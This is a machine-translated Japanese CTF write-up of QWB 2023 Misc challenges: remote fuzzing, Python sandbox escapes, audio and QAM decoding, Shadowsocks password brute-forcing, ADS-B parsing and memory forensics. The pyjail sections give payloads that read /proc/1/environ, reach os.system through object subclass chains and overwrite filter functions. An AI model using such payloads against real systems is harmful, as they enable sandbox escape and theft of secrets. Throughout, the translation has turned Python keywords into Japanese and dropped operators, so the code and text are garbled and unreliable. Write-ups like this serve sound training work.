Misc
easyfuzz
1.文字列を入力しようとすることにより、入力文字のプログラムの検証ルールは9文字であると判断され、正しい文字が満たされている限り、最後の返品値はすべて111111111111111111111111111111111111
は大胆に推測し続け、試してみてください。最初の2つのキャラクターは110000000を満たす任意のキャラクターであることができるため、最後の7文字を破壊できます。
2。ビットごとに爆発し、アイデアが正しいことを確認します、最後のビットは文字列「d」です
3。バーストスクリプトを書きます。文字列の長さが9ビットで入力されると、「ここにコードカバレッジ: 110000000」ではない結果とともに印刷されます。スクリプトは次のとおりです
PWNインポートから *
文字列インポートから印刷可能
conn=remote( '101.200.122.251'、12199)
non_matching_strings=[]
範囲のIの場合(9):
Printable:のcharの場合
ペイロード='A'*i + char + 'a'*(8-i)
print(conn.recvuntil(b'enter a string(10バイト未満): '))
conn.sendline(payload.encode())
response=conn.recvline()。decode()。strip()
応答!='ここにコードカバレッジ: 110000000':があります
non_matching_strings.append(ペイロード)
non_matching_strings:の文字列の場合
印刷(文字列)
フラグ:qwb {youknowhowtofuzz!}
サインイン
フラグ{welcome_to_qwb_2023}
pyjail!それはmyfilter !!!
ですPythonサンドボックスエスケープは、閉じた後、環境を直接読み取り、フラグを取得する
{13212} '+(print(open('/proc/1/Environ ')。read())+'
または、payload:を使用します
{print(open( '/proc/1/Environ')。read())}
FLAG {61E81B4F-566C-49F5-84DD-D79319FDDC82}
pyjail!それはmyRevenge !!!
ですPythonサンドボックスエスケープ
ファイルのインポートOS; os.system( "nl fl*hzy")を書き込み、読み取りを使用して実行コンテンツを読んでフラグを取得する
すべてのフィルター文字はOctalでバイパスされ、セグメントで書かれています
{13212} '+(open(' wsy '、' a ')。書き込み(' 15115160157162 '))+' {13212} '+(open(' wsy '、' a ')。 'a')。write( '163; 157'))+'{13212}'+(open( 'wsy'、 'a')。write( '163。'))+'{13212}'+(open( 'wsy'、 'a')。 'a')。write( 'st'))+'{13212}'+(open( 'wsy'、 'a')。write( 'em(' nl 146*hzy ')')+'{13212}'+open( '143157de.py'、 'w')。
または、次のPOC:を順番に実行します
{globals()。update(dict(my_filter=lambda x:1))} '' {in''put()} '#
{globals()。update(dict(len=lambda x:0))} '' {in''put()} '#
{print( '' .__ class __.__ mro __ [1] .__サブクラス__()[137] .__ init __.__グローバル__ ['__ builtins __'] ['__ import __']( 'os')。
['flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104'、 'server_8f6c72124774022b.py']
{globals()。update(dict(my_filter=lambda x:1))} '' {in '' put()} '#
{globals()。 update(dict(len=lambda x:0))} '' {in '' put()} '#
{print(open( 'flag_26f574f8cee82d06fedc45cf5916b86a732dd326ce1cb2c9a96751e072d0a104')。read()}}}
フラグ{8F0A4AC2-52D3-4ADB-A1A3-47E05997817D}
wabby wabbo Radio
f12は、wav/static/audios/xh4.wavへのリンクを取得できます
はそれを更新し、それがランダムにプレイするために選択されていることを発見しました。
それを曖昧にすると、合計xh1-xh5とhint1-hint2とflag.wavがあります
各波の左のボーカルは明らかに苔です
独立したチャネル、振幅を増やし、オンラインWebサイトを説明します
https://MORSECODE.world/international/decoder/audio-decoder-adaptive.html
得る:
旗が欲しいですか?もう少し長く聞いてみましょう。ゲンシンの衝撃の始まり。今日の天気は本当にいいです。 Wabby Wabbo Radioを聴くのは素晴らしい日です。それを行う方法がわからない場合、最初に何か他のことをすることができます。
他に役に立つものはありません、QAMキャリアの振幅を1つだけプロンプトします
https://info.support.huawei.com/info-finder/encyclopedia/zh/qam.html#qam'sホロスコープ
簡単な理解の後、私は01が振幅によって区別できることを発見しました。振幅を印刷しようとしましたが、それらはすべて±1と±3の間に濃縮されることがわかりました。
16Qam星座図を比較すると、振幅は信号対応を形成するだけであることがわかりますが、特定の対応が何であるかはわかりません。私たちは盲目的に小さいから大規模に推測します。
簡単なスクリプトは次のとおりです。
scipy.io.wavfileをwavとしてインポートします
npとしてnumpyをインポートします
sysをインポートします
sample_rate、data=wav.read( 'flag.wav')
data:のiの場合
印刷(i)
flag=''
def Repla(n):
n==-3:の場合
「00」を返す
elif n==-1:
「01」を返す
elif n==1:
「10」を返す
elif n==3:
「11」を返す
x、y in data:の場合
n1=round(float(x))
n2=round(float(y))
flag +=repla(n1)
flag +=repla(n2)
print(flag)
スパイシャドウ3.0
ヒントを与える:紙の飛行機も飛行機であり、海の反対側に海外に飛ぶこともできます。トピックの説明によると、特別なトンネルをVPNとして関連付けるのは簡単です
少し検索すると、シャドークスクにつながります、リファレンス記事:
https://phuker.github.io/posts/shadowsks-active-probing.html
完全な復号化スクリプトが与えられましたが、キーがわからないので、リクエストを成功させるために識別子としてHTTPを爆発させただけです。
#!/usr/bin/env python3
#encoding: utf-8
OSをインポートします
sysをインポートします
ロギングをインポートします
Hashlibをインポートします
crypto.cipher Import AESから
logging.basicconfig(level=logging.info)
def evp_bytestokey(password、key_len、iv_len):
m=[]
i=0
while len(b ''。結合(m))(key_len + iv_len):
md5=hashlib.md5()
データ=パスワード
0:の場合
データ=m [i -1] +パスワード
md5.update(データ)
M.Append(md5.digest())
I +=1
ms=b ''。参加(m)
key=ms [:key_len]
iv=ms [key_len3360key_len + iv_len]
リターンキー、iv
def Decrypt(cipher、password):
key_len=int(256/8)
IV_LEN=16
モード=aes.mode_cfb
key、_=evp_bytestokey(password、key_len、iv_len)
cipher=bytes.fromhex(cipher)
iv=cipher [:iv_len]
real_cipher=cipher [iv_len:]
obj=aes.new(key、mode、iv、segment_size=128)
Plain=obj.decrypt(real_cipher)
平野を返します
def main():
#HTTPリクエストをテストします
cipher='E0A77DFAFB6948728EF45033116B34FC855E7AC8570CAED829CA9B4C32C2F6F79184E333445C6027E18 A6B53253DCA03C6C464B8289CB7A16AA17666A0325EE842F9A766B81039FE50C5DA12DFAA89ECCE17B1 1BA9748899B49B071851040245FA5EA1312180DEF3D7C0F5AF697343544A8A342E8FCD2B1759086EAD1 24E39A8B3E2F6DC5D56AD7E8548569EE98EC363F87930D4AF80E984D0103036A91BE4AD76F0CFB00206 '
f:としてopen( 'rockyou.txt'、 'rb')
lines=f.readlines()
ライン:のパスワードの場合
Plain=Decrypt(cipher、password.strip())
Plain:のb'http 'の場合
印刷(パスワード、プレーン)
__name__=='__main __' :の場合
主要()
#b'superman \ n 'b' \ x03 \ x0f192.168.159.131 \ x00pget /why-you-you-you-want this-is http /1.1 \ r \ nhost: 192.168.159.131 \ r \ nuur-agent3360 curl/8.4.0 \ r \ naccept: */*\ r \ nconnection: close \ r \ n \ r \ n '
ファイル名を取得してください理由は何ですか?
フラグ{DC7E57298E65949102C17596F1934A97}
スパイシャドウ2.0
トピックの説明によれば、航空機の交通はADS-Bプロトコルに簡単に関連付けることができます
TCPストリームデータをエクスポートします
tshark -r attach.pcapng -y 'tcp' -t fields -e tcp.segment_data tcp.txt
解析スクリプト:
ピモードをインポートします
f:としてopen( 'tcp.txt'、 'r')
lines=f.readlines()
ライン:のデータの場合
Len(data)==47:の場合
print(pymodes.decoder.tell(data [18:]))
空中速度をフィルターし、79A05Eの最速飛行機は371ノットで、MD5 ICAOアドレスはフラグです
または
パケットをJSON形式にエクスポートします
スクリプトを使用してフィールドを抽出し、MD5を実行します
JSONをインポートします
PMSとしてPymodをインポートします
Hashlibをインポートします
file:として、open( '123.json'、 'r'、encoding='utf-8')を使用します
data=json.load(file)
情報=[]
data:のパケット用
パケット['_ source']および「tcp」の「層」['_ source'] ['layers'] :の場合
tcp_layer=packet ['_ source'] ['layers'] ['tcp']
tcp_layer:の「tcp.payload」の場合
tcp_payload=tcp_layer ['tcp.payload']。
info.append(tcp_payload)
planes_data=[]
Info:のIの場合
msg=i [18:]
pms.adsb.typecode(msg)=19およびpms.adsb.typecode(msg)=22:の場合
icao=pms.adsb.icao(msg)
velocity_info=pms.adsb.velocity(msg)
速度、トラック、vertical_rate、_=velocity_info
plane_info={'icao': icao、' speed ': speed、 'track ':トラック、' vertical_rate': vertical_rate}
planes_data.append(plane_info)
fastest_plane=max(planes_data、key=lambda x: x ['speed'])
print(hashlib.md5(fastest_plane ['icao']。上()。encode())。hexdigest()))
#flag {4cf6729b9bc05686a79c1620b0b1967b}
ハッピーチェス
予想外であるはずです。いつでも9つの位置を入力し、ラウンドを直接終了します。成功したと見なされます。
強いネットパイオニア
speedup
純粋なソーシャルワークの問題は、27の力に対する要因の合計を必要とし、OEISにはこの値が直接あります
https://oeis.org/a244060/list
SHA256の後、フラグを取得します
flag {bbdee5c548fddfc76617c562952a3a3b03d423985c095521a86661d248fad3797}
pngを見つけましたか?
文字列main.mem | grep 'linuxバージョン」
カーネルバージョンを取得したら、写真を撮ります
https://Treasure-house.randark.site/blog/2023-10-25-memoryforensic-test/
Linuxプロファイルを作成します
Python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=LINUXUBUNTU2004X64 LINUX_FIND_FILE -L | sindstr 'デスクトップ'
デスクトップにファイルを見つけることができますhave_your_fun.jocker
はエクスポートを試みましたが、空です
python2 vol.py -f C:USERS22826DESKTOPMAIN.MEM -PROFILE=Linux